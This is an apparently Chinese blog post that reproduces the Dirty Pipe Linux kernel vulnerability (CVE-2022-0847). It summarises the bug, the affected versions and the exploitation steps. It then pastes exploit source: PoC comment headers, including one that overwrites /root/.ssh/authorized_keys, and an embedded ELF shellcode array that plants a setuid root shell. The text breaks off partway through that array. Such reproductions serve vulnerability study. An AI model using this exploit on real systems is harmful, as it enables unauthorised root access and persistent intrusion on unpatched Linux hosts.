Dirty Pipe 漏洞（CVE-2022-0847）复现_综合

Dirty Pipe 漏洞（CVE-2022-0847）复现

2022年3月7日Max Kellermann max.kellermann@ionos.com发布关于[The Dirty Pipe Vulnerablity](The Dirty Pipe Vulnerability — The Dirty Pipe Vulnerability documentation (cm4all.com))的文章。描述了关于该漏洞的发现过程以及POC。Dirty Pipe漏洞类似于Dirty Cow漏洞，该漏洞允许改写任意只读文件的内容。可以让非特权用户通过注入代码到root用户的进程进行提权，得到root权限。

漏洞原理

This bug suddenly became critical in Linux 5.8 with commit f6dd975583bd “pipe: merge anon_pipe_buf*_ops”. By injecting PIPE_BUF_FLAG_CAN_MERGE into a page cache reference, it became possible to overwrite data in the page cache, simply by writing new data into the pipe prepared in a special way.

影响范围

Linux 5.8及以上（Linux 5.16.11, 5.15.25 和 5.10.102版本已经修复）

漏洞危害

任意用户能够通过复写数据到任意只读文件，就能root用户权限。

漏洞利用

Create a pipe.
Fill the pipe with arbitrary data (to set the PIPE_BUF_FLAG_CAN_MERGE flag in all ring entries).
Drain the pipe (leaving the flag set in all struct pipe_buffer instances on the struct pipe_inode_info ring).
Splice data from the target file (opened with O_RDONLY) into the pipe from just before the target offset.
Write arbitrary data into the pipe; this data will overwrite the cached file page instead of creating a new anomyous struct pipe_buffer because PIPE_BUF_FLAG_CAN_MERGE is set.

推·特用户Phit0n根据源PoC进行了优化，做出了新的PoC，能够通过重写SUID的程序就能够进行提权

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POC地址

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07/* SPDX-License-Identifier: GPL-2.0 */
/** Copyright 2022 CM4all GmbH / IONOS SE** author: Max Kellermann <max.kellermann@ionos.com>** Proof-of-concept exploit for the Dirty Pipe* vulnerability (CVE-2022-0847) caused by an uninitialized* "pipe_buffer.flags" variable. It demonstrates how to overwrite any* file contents in the page cache, even if the file is not permitted* to be written, immutable or on a read-only mount.** This exploit requires Linux 5.8 or later; the code path was made* reachable by commit f6dd975583bd ("pipe: merge* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was* there before, it just provided an easy way to exploit it.** There are two major limitations of this exploit: the offset cannot* be on a page boundary (it needs to write one byte before the offset* to add a reference to this page to the pipe), and the write cannot* cross a page boundary.** Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'** Further explanation: https://dirtypipe.cm4all.com/*/#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif// small (linux x86_64) ELF file matroshka doll that does;
// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
// write(fd, elfcode, elfcode_len)
// chmod("/tmp/sh", 04755)
// close(fd);
// exit(0);
//
// the dropped ELF simply does:
// setuid(0);
// setgid(0);
// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
    /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,